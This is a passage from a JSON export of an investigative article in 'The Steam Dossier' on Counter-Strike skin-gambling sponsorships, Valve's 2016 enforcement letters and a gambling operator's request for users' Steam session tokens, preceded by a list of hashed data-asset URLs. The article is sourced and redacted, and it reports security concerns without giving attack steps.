        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97819_legacy-vs-lynn-vision-m1-dust2.dem.loadout.csv",
          "sha256": "846b925ebff737420622a21ba0f5d1b973b2b9035a15c47a97d655c4a761639d",
          "bytes": 12005
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97819_legacy-vs-lynn-vision-m2-inferno.dem.loadout.csv",
          "sha256": "ed9a82e70cda426df1dd58fd7b55e1b7cc110682bfe53454fd9122c47f1929a8",
          "bytes": 12523
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97819_legacy-vs-lynn-vision-m3-nuke.dem.loadout.csv",
          "sha256": "fc09dc375d0904252de26d76b5a2bd123a36b0c9091385a9ffe218ad89b856ee",
          "bytes": 12255
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97820_3dmax-vs-pain-m1-inferno.dem.loadout.csv",
          "sha256": "902084ed6bff641a5d3f7e38a604dfb7cc76dde4e01e0460c70ad7dd96683c9d",
          "bytes": 12471
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97820_3dmax-vs-pain-m2-nuke.dem.loadout.csv",
          "sha256": "10b8f6d5c34d07a80f3365654a900b70a7a4a3ca7981b3aff967a2f87612eea9",
          "bytes": 15246
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97826_the-mongolz-vs-faze-m1-ancient.dem.loadout.csv",
          "sha256": "9a164bc193dbfbc950a5a33bd8722742d3094f1123835e4ba7ca0dd4850cc7a7",
          "bytes": 12952
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97826_the-mongolz-vs-faze-m2-anubis.dem.loadout.csv",
          "sha256": "ef793102e7606df7a49718aed09c57445f5f3215ca8e4fe26b86d188867290a9",
          "bytes": 12171
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97830_aurora-vs-mouz-m1-train.dem.loadout.csv",
          "sha256": "2efa38511a70ee0e1aac032b9ec7a1ae0f95a20060694f3aff5bc18c218bb5a2",
          "bytes": 13215
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97830_aurora-vs-mouz-m2-inferno.dem.loadout.csv",
          "sha256": "19fbfee12573c40f38eb6a7c6fd2579bbe3886ebb52c64d6e09832866b25a0a5",
          "bytes": 16542
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97830_aurora-vs-mouz-m3-mirage.dem.loadout.csv",
          "sha256": "4bb54ed203f3a70ef609c216ee112e0230875278d8e6cf0f30213255a2a651da",
          "bytes": 12059
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97835_virtus-pro-vs-vitality-m1-train.dem.loadout.csv",
          "sha256": "ea19f4defa7f8f436f89e8ba1960afa795a7af58bf46f3a899e2e83397eb0d7f",
          "bytes": 12758
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97835_virtus-pro-vs-vitality-m2-dust2.dem.loadout.csv",
          "sha256": "9680820cde39531d0ea48f98a169081a0caa3b25d62dac5deb6204a2b53d0398",
          "bytes": 12673
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97836_natus-vincere-vs-g2-m1-mirage.dem.loadout.csv",
          "sha256": "5864e43123612227a9e1e409fadd79336b0b5f528cac95ac99484f7377d13cd7",
          "bytes": 13868
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97836_natus-vincere-vs-g2-m2-anubis.dem.loadout.csv",
          "sha256": "08db6e5d9d8855390319a4d3df4beecaf2f6ec3938cda68583dc507f93f96d64",
          "bytes": 12176
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97836_natus-vincere-vs-g2-m3-inferno.dem.loadout.csv",
          "sha256": "f1eb9976af3baeb8c2cab4630f9d11b87168b0a1faab4308d0f0bc3e8a3de3af",
          "bytes": 15591
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97857_legacy-vs-mouz-m1-ancient.dem.loadout.csv",
          "sha256": "c4ba8f6fa2aa22177d50da5d514491a661e10ce6fbd80abf857ac8716d9bd07a",
          "bytes": 12305
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97857_legacy-vs-mouz-m2-inferno.dem.loadout.csv",
          "sha256": "d85e940179d4ae05ddbac4ef0c4422fcdd5e3ffefd378a0943d875a33b122f58",
          "bytes": 13587
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97857_legacy-vs-mouz-m3-nuke.dem.loadout.csv",
          "sha256": "2f597bb87b732932e8f6d5a1681811d4b15fe998596bef772cf6b48a2cbbf5e1",
          "bytes": 13253
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97934_spirit-vs-mouz-m1-mirage.dem.loadout.csv",
          "sha256": "71e0a6972ef4db66e1bb8d4d4e0ee8371f4c33f28a968c8e3dc50924fbcb5c84",
          "bytes": 16815
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97934_spirit-vs-mouz-m2-dust2.dem.loadout.csv",
          "sha256": "70ffa0f16fa633f6fae0bb1d63c95f7d7660c1f4f463034b1bdc1458fe8ed1c3",
          "bytes": 15301
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97934_spirit-vs-mouz-m3-nuke.dem.loadout.csv",
          "sha256": "1c13fd0b7ea1aac3a0001be5c9de7d0591e42550fdd7f7cfd11b639871193fdf",
          "bytes": 14490
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97954_faze-vs-the-mongolz-m1-mirage.dem.loadout.csv",
          "sha256": "764325b53a47f58928481f9bd4a9e96dc3366e514696b0ed307d2196c68edef3",
          "bytes": 14025
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97954_faze-vs-the-mongolz-m2-anubis.dem.loadout.csv",
          "sha256": "5630896ff75030ae290a79c82338ca6b5f65b0db0367d01e2f410336917b0b87",
          "bytes": 14369
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97995_vitality-vs-the-mongolz-m1-mirage.dem.loadout.csv",
          "sha256": "0fb191d755673c3080828affc8ed9f215ed3f02fd7f9b90c7a3742707140583a",
          "bytes": 12014
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97995_vitality-vs-the-mongolz-m2-dust2.dem.loadout.csv",
          "sha256": "5cb14459772554a3edb05b76832ae691d8389768774b2bf22a47195ddfc0ea12",
          "bytes": 11586
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97995_vitality-vs-the-mongolz-m3-inferno.dem.loadout.csv",
          "sha256": "52e3778f38f522839c6db46676dec55751ffb2ed434ba9281b23ca798edd1d07",
          "bytes": 12380
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/major-skins-software.zip",
          "sha256": "6beb945778b6f616760b53e77819a8cdfe4031b8f0a57b68cab03a18a3374796",
          "bytes": 725343
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/download-manifest.json",
          "sha256": "93012db880afe1865a760730f8914d9163f00ef6fd5b7b1010158478b4098703",
          "bytes": 153747
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/software-release-manifest.json",
          "sha256": "72de77c0f8eace6be1c4d574343c507bb279dae0cb481d7ef931a73a97e34499",
          "bytes": 3566
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/major-skins-data.zip",
          "sha256": "83304505fb6a2ed53d000b8833f5174448f24dc318b793f9e6a864b0d59a857c",
          "bytes": 13061127
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/players.json",
          "sha256": "ab64c8a9e17b41df72dec686dbc4a887dd4a304b50cd3300a81619a7936f1cee",
          "bytes": 3143620
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/reports/matches.csv",
          "sha256": "dc34af6a31eb7369d7b49c96971ccc3b50a5d57de530be84de19eae1600ba947",
          "bytes": 42299
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_major_skins_agent_simon.pdf",
          "sha256": "db9be6f658c5ab165c87c73cf92236a5d412a37893b6bf24765c52687a42f3b3",
          "bytes": 5322049
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_major_skins_agent_simon.json",
          "sha256": "668b915ebc27b85e73080d8d751871e0be3fad0c554c4a5b31ba5032ac55b77f",
          "bytes": 327669
        }
      ]
    },
    {
      "schema": "phishdestroy.reading-edition.v2",
      "schema_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/article.schema.json",
      "object_type": "Dated article reading edition with PDF digest",
      "id": "major_sponsorships",
      "language": "en",
      "title": "Ten days to stop. Seven years later, at G2’s booth. — The Steam Dossier",
      "author": "Agent Rowan",
      "source_url": "https://phishdestroy.io/steam_dossier/major_sponsorships",
      "source_file": "steam_dossier/major_sponsorships.html",
      "source_html_sha256": "edfbdbd5c1c53bd2b12c9ee941c07f16159b1a61b6a5cf17441c5ea7b5e86879",
      "exported_at": "2026-10-18T11:58:30.589Z",
      "edition_date": "2026-10-18",
      "scope": {
        "text": "Authored discussion and analytical tables from the current source HTML. Interactive controls and navigation are omitted; interactive datasets remain linked.",
        "omissions": [],
        "evidence_status": "The signature authenticates this publication, not the truth or authenticity of third-party evidence."
      },
      "pdf": {
        "filename": "major_sponsorships.pdf",
        "url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/major_sponsorships.pdf",
        "sha256": "71ebd7e47527c042440634cc273186375bb9deeb041415259fe7b9be2755cf61",
        "bytes": 772230,
        "pages": 13
      },
      "integrity": {
        "signed_object": "major_sponsorships.content.json",
        "signature_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/major_sponsorships.content.json.asc",
        "checksum_url": "https://phishdestroy.io/steam_dossier/exports/reading-2026-10-18/en/major_sponsorships.content.json.sha256",
        "format": "ASCII-armored detached OpenPGP",
        "signing_key_fingerprint": "129FC7F39C40C69D2EF3C329BFCF9E8DD295EE01",
        "public_key": "https://phishdestroy.io/.well-known/pgp-key.txt",
        "scope": "Exact UTF-8 JSON bytes, including content and the PDF SHA-256. No cryptographic PDF document signature is asserted."
      },
      "license": {
        "identifier": "CC0-1.0",
        "application": "Authored material only; third-party material retains its own rights.",
        "rights_statement_url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/license-rights.json",
        "rights_statement_sha256": "80d67354f8e5efd65b03696be950fb0f95c188d0089b1604281d0a4daff3f4cb"
      },
      "content": {
        "text": "Contents · Live article\n\nCOUNTER-STRIKE / SPONSORSHIP, ACCESS & ENFORCEMENT\n\nTen days to stop. Seven years later, at G2’s booth.\n\nValve demanded that gambling operators stop using Steam in 2016. Seven years later, CSGORoll announced a G2 activation at the Paris Major. Its next published trading workaround asked users for a Steam session token. These records follow the gap between platform rules, commercial promotion and account access.\n\nRead the investigation ↓RWBy Agent Rowan5 October 2026 · The Steam Dossier\n\nTHE RECORD / THREE CONNECTED DOCUMENTS\n\n2016The demandValve’s letters give gambling operators ten days.012023The promotionCSGORoll announces G2 and a Paris Major activation.022024The credentialThe operator publishes Steam session-token instructions.03\nCASE FILE / MAJOR SPONSORSHIPSPUBLIC RECORD · 2016—2026\n01 · The Major connection\nThe audience comes for the player. The sponsor gets the attention.\n\nOn 2 May 2023, CSGORoll announced a G2 partnership: branding on the G2 and OYA jerseys, plus a skin-and-prize activation at G2’s Paris Major booth. Its announcement described a CSGORoll-themed slot machine. The operator itself placed the gambling brand at the intersection of a famous team, valuable skins and a flagship Counter-Strike event. CSGORoll’s announcement · 2 May 2023 ↗\n\nATTENTIONG2 / playersFans follow a familiar team.\nACTIVATIONParis Major boothThe announced slot-machine attraction.\nBRAND EXPOSURECSGORollSkins and prizes carry the sponsor’s identity.\n\nAdvertising mechanism inferred from the operator’s announcement. The source establishes what was promoted; it is not footage confirming the booth’s operation.\n\nSharpr’s 4 May report described the launch video featuring m0NESY, who had turned 18 the day before the partnership announcement. A young star was the face of a skin-gambling promotion. That is the commercial bridge this investigation follows: the player earns the audience’s attention; the sponsor buys access to it. Sharpr · G2’s skin-gambling deal ↗\n\nThe announcement documents a team partnership and a planned Major activation. It does not establish a direct CSGORoll–Valve sponsorship contract. Establishing who approved the activation would require the team’s, organiser’s and distributors’ agreements and decisions.\n\nREAD WITH THE MAJOR DATA98.7% of recorded weapon inspections involve a non-default finish.\n\nSeven Majors. 491 maps. The skin is already in the foreground before a sponsor enters the picture.\n\nOpen the Major showcase →\n02 · Before the announcement\nA warning existed. Forty-three days earlier.\n43days\n\nThe Australian regulator’s original warning is dated 20 March 2023. CSGORoll announced the G2 deal on 2 May. The addressee was Feral Holdings Limited, at a Belize address, identified as the operator of CS:GO Roll. ACMA · original formal warning ↗\n\nACMA’s 17 May public statement described the economic loop: skins become gambling credits; winnings become skins; external services convert those skins into money. It reported the service’s withdrawal from Australia. A cosmetic’s lack of weapon damage does not remove its financial role. ACMA · enforcement announcement ↗\n\n43 days = 2 May − 20 March 2023. The warning concerns Australian law. These dates do not establish when G2 learned of it.\n\nEXHIBIT 01 / ACMA WARNING\nOriginal document, page 1 of 2. Date on page 2.\n03 · The 2016 demand\nTen days to stop. A letter is not an outcome.\n\nOn 13 July 2016, Valve described the mechanism in public: OpenID identifies a Steam account; automated accounts make web calls resembling ordinary users. Using those mechanisms for gambling, Valve said, violated its API and user agreements. This was a known infrastructure route, described by the platform itself. Valve · In-Game Item Trading Update ↗\n\nLetters signed by general counsel Karl Quackenbush gave operators ten days to stop commercial use of Steam accounts. Ars reported 23 recipients and Valve’s confirmation of the letter. HLTV identified CSGOFAST and CSGOLounge among the named sites. These records do not establish CSGORoll as a recipient. Ars · the cease-and-desist letters ↗ HLTV · named recipients ↗\n\nJUL 2016Valve declares the gambling use prohibited.\n\nOpenID, automated accounts and a ten-day demand.\n\nDEC 2017CSGOFAST Cup 2 enters the tournament record.\n\nEight teams; $10,000 prize pool.\n\nMAY 2023CSGORoll announces G2 and a Paris Major activation.\n\nJerseys, a branded slot machine, skins and prizes.\n\nAPR 2024CSGORoll publishes its session-token instructions.\n\nA credential handed from the Steam session to the operator.\n\nOCT 2026The checked Link Filter route allows continuation.\n\nA dated response, preserved with its checksum.\n\nHLTV’s event record dates CSGOFAST Cup 2 to 20–22 December 2017. The brand’s later tournament presence is documented. That alone does not establish uninterrupted operation or unchanged ownership after the 2016 demand. CSGOFAST Cup 2 · event record ↗\n\nThe letter records what Valve demanded. Enforcement records would show what happened next.\n04 · Beyond a jersey\nWhen one advertising surface closes, another can carry the brand.\n\nRushBee’s own Metality case study names GG.BET as its client and describes a Vitality campaign built around touring rock-star imagery. It says brand placement in game packs maintained visibility while adhering to jersey sponsorship restrictions. A branded bus, gaming sessions and player meet-and-greets carried the campaign beyond the shirt. RushBee · Metality campaign ↗\n\nThis is a documented intermediary and a documented change of advertising surface. It is not, by itself, evidence of a concealed owner or an unlawful workaround. The useful question is concrete: what does a jersey restriction prevent when the same sponsor can reach fans through the surrounding event?\n\nBLAST’s January 2024 announcement gives a second route: GG.BET’s BLAST Premier partnership included on-broadcast betting odds, predictions, Pick ’Ems, giveaways and physical and digital branding. It also records GG.BET’s previous partnerships with the Stockholm 2021 and Antwerp 2022 Majors. The newly announced deal was for BLAST Premier; it should not be relabelled as a new Major contract. BLAST · GG.BET partnership ↗\n\nSPONSORSHIP ROUTES / DIFFERENT CONTRACTS, DIFFERENT SURFACES\nRelationship\tDocumented surface\tRecord\nCSGORoll → G2\tTeam jerseys; announced Paris Major booth activation\t2 May 2023\nGG.BET → RushBee / Vitality campaign\tGame packs, branded tour bus, meet-and-greets\tAgency case study\nGG.BET → BLAST Premier\tOdds in the broadcast, predictions, content and branding\t22 Jan 2024\nCSGOEmpire → Empire Cup\tAnnounced $50,000 online tournament\t26 Mar 2024\n\nSources: operator announcement, agency case study, organiser announcement and HLTV’s tournament reporting. These are distinct relationships, not a single ownership chain.\n\nCSGOEmpire announced a $50,000 online cup with Fortuna in March 2024. After the disruption at the Copenhagen Major on 29 March, participants withdrew; this was not the Paris Major of 2023. A later 3DMAX statement dated 2 March 2025 confirmed that its brief Empire sponsorship had been terminated. The record shows both commercial recruitment and pushback, not one permanent partnership. HLTV · Empire Cup announcement ↗ HLTV · withdrawals ↗ 3DMAX · termination statement ↗\n\nValve’s currently published tournament licence has separate provisions for betting sponsorship and skin-economy sponsors. That distinction makes the applicable contract, date and jurisdiction material. Today’s licence cannot establish which clause governed a 2023 activation. Valve · tournament licence, §2.4(d)–(e) ↗\n\n05 · The session-token route\nThe operator’s instruction: hand over the token.\n\nThe sponsorship buys attention. The trading workflow asks for something else: a credential from the customer’s Steam session. In its 10 April 2024 WebAPI P2P SOLUTION post, CSGORoll told sellers to copy a webapi_token from their authenticated Steam browser session into the operator’s trading page. CSGORoll · published instructions ↗\n\nSTEAMUser sessionA Steam-issued access token.\nUSER ACTIONCredential transferThe token is copied outside Steam.\nCSGOROLLTrade monitoringThe operator’s stated purpose.\n\nThe post addressed sellers listing skins, rather than buyers alone. It described daily token renewal, invalidation after logout or session termination, and encrypted storage. These are the operator’s claims about use and handling. The post was still publicly accessible when collected; that does not establish that its 2024 procedure remains in use unchanged.\n\nThe user key and the session token are different credentials.\n\nSteam users manage a personal Steam Web API key at steamcommunity.com/dev/apikey ↗. This is the user-key route, not a Steamworks publisher credential for a game studio. Valve’s authentication documentation explicitly separates User Keys from Publisher Keys. Valve · User Keys and Publisher Keys ↗\n\nCSGORoll’s cited procedure asks for a different object: the session’s webapi_token, not the personal API key registered on that page. The sample examined for this investigation is a JWT access token. JWT describes its format; the API is the interface that accepts it. A token accepted by a Steam endpoint does not become a publisher key. JWT format · RFC 7519 ↗\n\nPERSONAL WEB API KEY\nRegistered on the user’s account\n\nA separately managed credential at Steam Community’s API-key page. Its creation and revocation are distinct from those of a browser-session access token.\n\nUser API-key management ↗\nSESSION ACCESS TOKEN / JWT\nIssued in the logged-in session\n\nThe credential requested in the cited workflow. Its expiry, accepted endpoints and revocation depend on the session-token system; the API-key page does not define those controls.\n\nMaintainer’s access-token account ↗\n\nThe distinction is documented in trade tooling. In March 2024, the maintainer of node-steam-tradeoffer-manager described access-token authentication for parts of Steam WebAPI, including a fallback when an account lacked an API key and registration required mobile confirmation. The maintainer dates that confirmation requirement to late 2023 and calls the token route officially unsupported. This establishes a documented alternative credential path; it does not establish which library CSGORoll used. Library maintainer · Access Tokens ↗\n\nThe trust boundary moves after sign-in.\n\nSteam OpenID confirms a Steam identity to the relying site. That sign-in step alone does not give the site the user’s Steam session token. CSGORoll’s separate copy-and-paste instruction is the material step: a session credential crosses to the operator. Valve · Steam OpenID provider ↗\n\nThe published instruction supplies no endpoint-level permission list or evidence of an independently revocable, site-specific grant. Its promise to use the token for monitoring does not establish that Steam restricts the token to that purpose. The questions for the platform are the permissions accepted by each endpoint and the mechanism for ending the transferred access.\n\nA confirmation gate on API-key registration does not close a separate session-token route.\n\nContinue in Part II: which credential crosses the boundary? →\n\n06 · The cross-IP test\nThe token worked from a different IP.\n\nThe source reports testing the same session access token from a different IP address and receiving authenticated access. In that reported test, a change of source IP did not cause the server to reject the credential. This is a behavioural observation, separate from decoding the token.\n\nThe sample decoded for this investigation declares EdDSA and an audience of web:community. Its ip_subject and ip_confirmer values match. The account identifier, IP addresses and credential are withheld.\n\nDECLARED AUDIENCEweb:community\nEXPIRY − ISSUE TIME24h 20m 49s\nREPORTED CROSS-IP TESTAccess accepted\n\nThe result matters because the IP fields can look like a security boundary. A recorded address is not, by itself, a server-enforced restriction. The source’s test reports that the boundary did not hold for the request tested. It does not establish that every Steam endpoint accepts the token from every possible IP.\n\nTest provenance: result supplied to this investigation by the source. The request log, endpoint and test time are not included in this publication; the editorial review did not independently replay the credential.\n\nThe sample’s time claims span 87,649 seconds. This is the interval encoded in that sample, not a measured guarantee of usable access or a universal Steam token lifetime. Local decoding alone did not validate the signature.\n\nNeither the personal API-key settings nor Steamworks publisher-key restrictions establish the IP controls on this JWT. The relevant evidence is the response to the session token at the endpoint under test. The reported cross-IP success is a reason to examine that control directly.\n\n07 · The public control\nThe response was a warning. It offered a way through.\nCAPTURE / 05 OCT 2026 · 16:20 UTCUNAUTHENTICATED GET · HTTP 200\n\nsteamcommunity.com/linkfilter/?url=csgoroll.com\n\nContinue to external site\n\nThe captured Steam response offered continuation.\nNo “Link Blocked” screen was present.\n\nOpen the checked Steam route ↗\n\nTextual reconstruction of the saved response; not an interactive Steam security dialog.\n\nThis check establishes the result for one URL at one time. It does not reveal sanctions against trading accounts or imply Valve’s endorsement. It does leave a precise enforcement question: what criterion governs the public warning for an operator whose own instructions describe collecting Steam session tokens?\n\nResponse provenance and SHA-256\nRetrieved\n2026-10-05T16:20:36.939554+00:00\nRequest\nUnauthenticated HTTP GET; no user token submitted\nSaved response SHA-256\n0878605b1ee6eead0ad27e515fd9d1b05cf657046f1ec7c7df666e73cccf324b\nRead the captured response text ↓\n08 · The missing enforcement trail\nWho was removed? Who was allowed back?\n\nNew York’s Attorney General raised precisely this selection problem in a complaint filed on 25 February 2026. Paragraphs 95–99 allege exclusions from the 2016 campaign and later restoration of access for certain services. These are the plaintiff’s allegations, not findings by a court. They identify records that matter: the exemption criteria, internal decisions and restoration trail. New York v. Valve · complaint, §§95–99 ↗\n\nValve also documented concrete action against OPSkins ExpressTrade in 2018. The question is the reach, consistency and durability of enforcement: which route was closed, whether its replacement was detected, and which commercial uses were permitted to continue. Valve · ExpressTrade ↗\n\nThe documents this record calls for\n2016 recipients and outcomes. Account actions, follow-up and the reasons for exclusions.\nEvent approval. Who approved the advertised G2 activation, under which dated agreements?\nCredential boundaries. Which endpoints accept session tokens, with what permissions, IP controls and revocation?\nPublic warnings. The criteria for blocking, allowing or restoring the domains in this record.\n\nThe ten-day deadline was a demand made of the operators.\nTen years later, its enforcement belongs on the record.\n\n09 · Sources & authorship\nFollow the documents.\n\nThis article connects dated public records, a locally decoded and redacted token sample, a source-reported cross-IP test, and a preserved unauthenticated Link Filter response. Source links sit beside each claim. Interpretations, announcements and allegations are identified where they appear.\n\nS01\nG2 / CSGORoll announcement ↗operator · 2023-05-02\nS02\nSharpr: G2 skin gambling deal ↗reporting · 2023-05-04\nS40\nACMA formal warning to Feral Holdings ↗regulator · 2023-03\nS03\nACMA: CSGORoll warning ↗regulator · 2023-05-17\nS04\nValve: In-Game Item Trading Update ↗valve · 2016-07-13\nS06\nArs: July letters confirmed by Valve ↗reporting · 2016-07-20\nS34\nValve letters / CSGOFAST named ↗reporting · 2016-07-20\nS19\nCSGOFAST Cup 2 ↗event-record · 2017-12-20/2017-12-22\nS23\nRushBee Metality campaign ↗agency-case-study · Retrieved 5 October 2026\nS10\nBLAST Premier / GG.BET ↗organizer · 2024-01-22\nS16\nCSGOEmpire Cup announcement ↗reporting · 2024-03-26\nS17\nWithdrawals after Copenhagen disruption ↗reporting · 2024-03-30\nS44\n3DMAX termination statement ↗team-social · 2025-03\nS08\nValve Limited Game Tournament License ↗valve-current · Retrieved 5 October 2026\nS39\nCSGORoll WebAPI P2P Solution ↗operator · 2024-04-10\nS31\nJWT standard ↗standard · 2015-05\nS27\nSteam Community · OpenID provider ↗valve-docs · Retrieved 5 October 2026\nS29\nAccess Tokens: tradeoffer-manager ↗maintainer-primary · 2024-03-29\nS45\nSteam Community · personal API-key management ↗valve-user-account · Sign-in required\nS24\nSteam Web API · User Keys and Publisher Keys ↗valve-docs · Retrieved 5 October 2026\nS07\nNY OAG v Valve complaint ↗court-pleading · 2026-02-25\nS37\nValve OPSkins / ExpressTrade action ↗valve · 2018\nS33\nSteam Link Filter: csgoroll.com ↗direct-observation · 2026-10-05\n\nTHE STEAM DOSSIER / INDIVIDUALLY ATTRIBUTED MATERIAL\n\nAgent Rowan\n\nEditorial pseudonym · Published 5 October 2026\nAggregated by PhishDestroy.\n\nFind this material in the author map →\nRowanFOLLOW THE EVIDENCE.\nArticle PDF ↓Article JSON ↓PGP signature ↓Source register ↓",
        "headings": [
          {
            "level": 1,
            "text": "Ten days to stop. Seven years later, at G2’s booth.",
            "anchor": "pd-major_sponsorships--heading-1",
            "source_url": "https://phishdestroy.io/steam_dossier/major_sponsorships#overview"
          },
          {
            "level": 2,
            "text": "The audience comes for the player. The sponsor gets the attention.",
            "anchor": "pd-major_sponsorships--heading-2",
            "source_url": "https://phishdestroy.io/steam_dossier/major_sponsorships#stage"
          },
          {
            "level": 2,
            "text": "A warning existed. Forty-three days earlier.",
            "anchor": "pd-major_sponsorships--heading-3",
            "source_url": "https://phishdestroy.io/steam_dossier/major_sponsorships#warning"
          },
          {
            "level": 2,
            "text": "Ten days to stop. A letter is not an outcome.",
            "anchor": "pd-major_sponsorships--heading-4",
            "source_url": "https://phishdestroy.io/steam_dossier/major_sponsorships#letters"
          },
          {
            "level": 2,
            "text": "When one advertising surface closes, another can carry the brand.",
            "anchor": "pd-major_sponsorships--heading-5",
            "source_url": "https://phishdestroy.io/steam_dossier/major_sponsorships#sponsors"
          },
          {
            "level": 2,
            "text": "The operator’s instruction: hand over the token.",
            "anchor": "pd-major_sponsorships--heading-6",
            "source_url": "https://phishdestroy.io/steam_dossier/major_sponsorships#token"
          },
          {
            "level": 3,
            "text": "The user key and the session token are different credentials.",
            "anchor": "pd-major_sponsorships--heading-7",
            "source_url": "https://phishdestroy.io/steam_dossier/major_sponsorships#token"
          },
          {
            "level": 3,
            "text": "Registered on the user’s account",
            "anchor": "pd-major_sponsorships--heading-8",
            "source_url": "https://phishdestroy.io/steam_dossier/major_sponsorships#token"
          },
          {
            "level": 3,
            "text": "Issued in the logged-in session",
            "anchor": "pd-major_sponsorships--heading-9",
            "source_url": "https://phishdestroy.io/steam_dossier/major_sponsorships#token"
          },
          {
            "level": 3,
            "text": "The trust boundary moves after sign-in.",
            "anchor": "pd-major_sponsorships--heading-10",
            "source_url": "https://phishdestroy.io/steam_dossier/major_sponsorships#token"
          },
          {
            "level": 2,
            "text": "The token worked from a different IP.",
            "anchor": "pd-major_sponsorships--heading-11",
            "source_url": "https://phishdestroy.io/steam_dossier/major_sponsorships#ip"
          },
          {
            "level": 2,
            "text": "The response was a warning. It offered a way through.",
            "anchor": "pd-major_sponsorships--heading-12",
            "source_url": "https://phishdestroy.io/steam_dossier/major_sponsorships#filter"
          },
          {
            "level": 2,
            "text": "Who was removed? Who was allowed back?",
            "anchor": "pd-major_sponsorships--heading-13",
            "source_url": "https://phishdestroy.io/steam_dossier/major_sponsorships#accountability"
          },
          {
            "level": 3,
            "text": "The documents this record calls for",
            "anchor": "pd-major_sponsorships--heading-14",
            "source_url": "https://phishdestroy.io/steam_dossier/major_sponsorships#accountability"
          },
          {
            "level": 2,
            "text": "Follow the documents.",
            "anchor": "pd-major_sponsorships--heading-15",
            "source_url": "https://phishdestroy.io/steam_dossier/major_sponsorships#sources"
          },
          {
            "level": 3,
            "text": "Agent Rowan",
            "anchor": "pd-major_sponsorships--heading-16",
            "source_url": "https://phishdestroy.io/steam_dossier/major_sponsorships#authorship"
          }
        ],
        "links": [
          {
            "label": "Live article",
            "url": "https://phishdestroy.io/steam_dossier/major_sponsorships"
          },
          {
            "label": "CSGORoll’s announcement · 2 May 2023 ↗",
            "url": "https://www.csgoroll.com/blog/csgoroll-g2-collaboration/"
          },
          {
            "label": "Sharpr · G2’s skin-gambling deal ↗",
            "url": "https://sharpr.substack.com/p/g2-esports-takes-risk-on-skin-gambling"
          },
          {
            "label": "READ WITH THE MAJOR DATA98.7% of recorded weapon inspections involve a non-default finish.Seven Majors. 491 maps. The skin is already in the foreground before a sponsor enters the picture.Open the Major showcase →",
            "url": "https://phishdestroy.io/steam_dossier/major_skins#inspect"
          },
          {
            "label": "ACMA · original formal warning ↗",
            "url": "https://www.acma.gov.au/sites/default/files/2023-05/ED2313~1.PDF"
          },
          {
            "label": "ACMA · enforcement announcement ↗",
            "url": "https://www.acma.gov.au/articles/2023-05/acma-takes-action-against-illegal-skins-gambling-site"
          },
          {
            "label": "",
            "url": "https://www.acma.gov.au/sites/default/files/2023-05/ED2313~1.PDF"
          },
          {
            "label": "Valve · In-Game Item Trading Update ↗",
            "url": "https://store.steampowered.com/oldnews/22883"
          },
          {
            "label": "Ars · the cease-and-desist letters ↗",
            "url": "https://arstechnica.com/gaming/2016/07/valve-lawyers-send-cease-and-desist-letters-to-counter-strike-gambling-sites/"
          },
          {
            "label": "HLTV · named recipients ↗",
            "url": "https://www.hltv.org/news/18289/valve-cracks-down-on-skin-betting"
          },
          {
            "label": "CSGOFAST Cup 2 · event record ↗",
            "url": "https://www.hltv.org/events/3461/csgofast-cup-2"
          },
          {
            "label": "RushBee · Metality campaign ↗",
            "url": "https://rushbee.agency/projects/metality"
          },
          {
            "label": "BLAST · GG.BET partnership ↗",
            "url": "https://blast.tv/article/blast-partners-with-ggbet"
          },
          {
            "label": "HLTV · Empire Cup announcement ↗",
            "url": "https://www.hltv.org/news/38624/csgoempire-announces-50000-online-tournament"
          },
          {
            "label": "HLTV · withdrawals ↗",
            "url": "https://www.hltv.org/news/38657/participants-withdraw-from-csgoempire-cup-after-major-disruption"
          },
          {
            "label": "3DMAX · termination statement ↗",
            "url": "https://x.com/3DMAXGaming/status/1896266857415610873"
          },
          {
            "label": "Valve · tournament licence, §2.4(d)–(e) ↗",
            "url": "https://store.steampowered.com/tourney/limited_license"
          },
          {
            "label": "CSGORoll · published instructions ↗",
